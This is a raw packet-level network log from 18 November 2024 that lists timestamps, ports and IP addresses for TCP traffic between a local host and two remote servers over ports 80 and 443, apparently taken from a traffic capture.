Nov 18, 2024 15:17:14.125513077 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.125535011 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.125535011 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.126669884 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.126684904 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.126698017 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.126710892 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.126713991 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.126777887 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.126777887 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.150377989 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.150397062 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.150409937 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.150466919 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.150579929 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.150585890 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.150599957 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.150613070 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.150654078 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.150686026 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.150708914 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.150830984 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.151141882 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.151263952 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.151360989 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.151571035 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.170341969 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.170706987 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.170732021 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.171075106 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.171616077 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.171684027 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.172003984 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.193613052 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.193629980 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.193639040 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.193734884 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.219346046 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.240751982 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.240804911 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.240817070 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.240839005 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.240837097 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.240837097 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.240854025 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.240866899 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.240874052 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.240886927 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.241126060 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.241394043 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.241590023 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.241595030 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.241635084 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.241635084 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.241648912 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.241662025 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.241674900 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.241677999 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.241693974 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.241723061 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.265826941 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.265841961 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.265862942 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.265990019 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.265990019 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.266025066 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.266036034 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.266072035 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.266172886 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.266268969 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.266535044 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.266716003 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.303280115 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.303308964 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.303384066 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.303388119 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.303833961 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.306159973 CET	49831	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.306188107 CET	443	49831	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.308970928 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.309043884 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.309057951 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.309124947 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.309137106 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.309148073 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.309154987 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.309154987 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.310477972 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.313925028 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.313992023 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.314110041 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.314371109 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.314384937 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.356405973 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.356445074 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.356457949 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.356494904 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.356518030 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.356745958 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.356758118 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.356786966 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.356798887 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.356822014 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.357076883 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.357076883 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.357389927 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.357402086 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.357409000 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.357500076 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.381263971 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.381280899 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.381294966 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.381330013 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.381366968 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.381500006 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.381514072 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.381531000 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.381592035 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.381592035 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.431344032 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.431358099 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.431370020 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.431381941 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.431395054 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.431516886 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.431516886 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.471601009 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.471642017 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.471656084 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.471667051 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.471678972 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.471739054 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.471739054 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.471812963 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.472554922 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.472567081 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.472578049 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.472630024 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.472642899 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.472723961 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.472723961 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.473076105 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.473088026 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.473098040 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.473222017 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.496720076 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.496753931 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.496777058 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.496788979 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.496797085 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.496800900 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.496812105 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.496824980 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.496897936 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.540925980 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.540939093 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.540950060 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.540997028 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.541049957 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.541843891 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.541856050 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.541990995 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.587225914 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.587245941 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.587259054 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.587310076 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.587327957 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.587341070 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.587347984 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.587486982 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.587981939 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.587995052 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.588006973 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.588067055 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.588067055 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.588118076 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.588130951 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.588144064 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.588176012 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.588219881 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.588459015 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.588550091 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.588783026 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.588851929 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.588859081 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.588902950 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.612396955 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.612406015 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.612411976 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.612574100 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.612623930 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.612688065 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.613574982 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.613648891 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.613943100 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.614099979 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.656354904 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.656373024 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.656384945 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.656583071 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.656603098 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.656615019 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.656636000 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.656636000 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.656636000 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.656718016 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.702372074 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.702388048 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.702403069 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.702414989 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.702555895 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.702555895 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.702680111 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.702692032 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.702703953 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.702805996 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.702805996 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.703248978 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.703300953 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.703327894 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.703340054 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.703378916 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.703583956 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.703594923 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.703684092 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.703704119 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.703749895 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.703818083 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.703897953 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.727648020 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.727675915 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.727689028 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.727699995 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.727714062 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.727761030 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.727761030 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.727792978 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.728352070 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.728363037 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.728375912 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.728398085 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.728419065 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.771605015 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.771723032 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.771733046 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.771752119 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.771765947 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.771778107 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.771784067 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.771784067 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.771784067 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.771869898 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.771869898 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.813999891 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.814079046 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.814467907 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.814610004 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.817696095 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.817709923 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.817720890 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.817749977 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.817862988 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.817871094 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.817884922 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.817895889 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.818042994 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.818042994 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.819366932 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.819392920 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.819413900 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.819427967 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.819437027 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.819437027 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.819442034 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.819446087 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.819477081 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.819477081 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.843749046 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.843791008 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.843807936 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.843825102 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.843843937 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.843856096 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.843856096 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.843856096 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.843888998 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.843888998 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.844108105 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.844125986 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.844141006 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.844156027 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.844177008 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.844263077 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.844587088 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.844630003 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.844688892 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.897362947 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.897396088 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.897408009 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.897433043 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.897444963 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.897471905 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.897527933 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.911941051 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.912375927 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.912403107 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.912797928 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.913146973 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.913223028 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.913296938 CET	49832	443	192.168.2.9	23.47.50.160
Nov 18, 2024 15:17:14.933234930 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.933254957 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.933275938 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.933289051 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.933300972 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.933372021 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.933372021 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.933372021 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.934699059 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.934715986 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.934729099 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.934773922 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.934839964 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.934854031 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.934859037 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.934865952 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.934915066 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.955324888 CET	443	49832	23.47.50.160	192.168.2.9
Nov 18, 2024 15:17:14.959458113 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959476948 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959490061 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959501028 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959515095 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959544897 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.959577084 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959614038 CET	49829	80	192.168.2.9	185.215.113.16
Nov 18, 2024 15:17:14.959620953 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959633112 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959645987 CET	80	49829	185.215.113.16	192.168.2.9
Nov 18, 2024 15:17:14.959657907 CET	80	49829	185.215.113.16	192.168.2.9
